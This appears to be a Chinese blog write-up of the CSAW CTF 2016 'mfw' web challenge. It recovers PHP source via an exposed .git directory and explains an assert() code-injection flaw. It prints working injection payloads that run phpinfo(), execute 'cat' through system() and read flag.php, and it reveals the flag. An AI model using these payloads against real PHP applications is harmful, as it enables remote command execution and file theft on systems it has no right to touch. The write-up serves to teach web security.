• mfw


    csaw-ctf-2016-quals

    题目分析过程

    查看页面,发现其页面使用了git,尝试使用githack获取文件源码

    mfw_1

    成功获得网页源码:

    mfw_2

    源码如下:

    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
    <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
    <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
    <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
    

    源码中提到了flag.php,经过查看:

    <?php
    // TODO
    // $FLAG = '';
    ?>
    

    页面中无法直接跳转到flag,猜测需要进行绕过。

    源码审计

    // PHP5
    assert ( mixed $assertion [, string $description ] ) : bool
    // PHP7
    assert ( mixed $assertion [, Throwable $exception ] ) : bool
    

    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动。

    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

    具体见assert官方文档

    strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    语法:strpos(string,find,start)
    string 必需。规定要搜索的字符串。
    find 必需。规定要查找的字符串。
    start 可选。规定在何处开始搜索。

    file_exists() 函数检查文件或目录是否存在
    如果指定的文件或目录存在则返回 true,否则返回 false。

    既然可以当作PHP代码进行执行,就可以进行注入攻击。

    构建payload:page=index.php','.php') and phpinfo();//

    成功显示phpinfo页面,接下来尝试进行构造,使其能够显示flag.php

    page=index.php','.php') and system("cat templates/flag.php");//

    page=','') or print_r(file_get_contents('templates/flag.php'));//

    查看源代码:

    <?php $FLAG="cyberpeace{56ae4463b27ad0ba24211eaa09d3a3fd}"; ?>
    That file doesn't exist!
    
  • 相关阅读:
    java复习计划
    超过16位的字符串装16进制
    《将博客搬至CSDN》
    android设置中文字体样式
    布局文件View和ViewGroup
    创建线程的两种方法,继承Thread,继承Runnable
    本地文件的copy复制
    字节流和字符流完成URL下载,并存入本地
    文本过滤器的用法,FileFilter()和FilenameFilter()
    JavaSE笔记
  • 原文地址:https://www.cnblogs.com/chalan630/p/12596022.html
Copyright © 2020-2023  润新知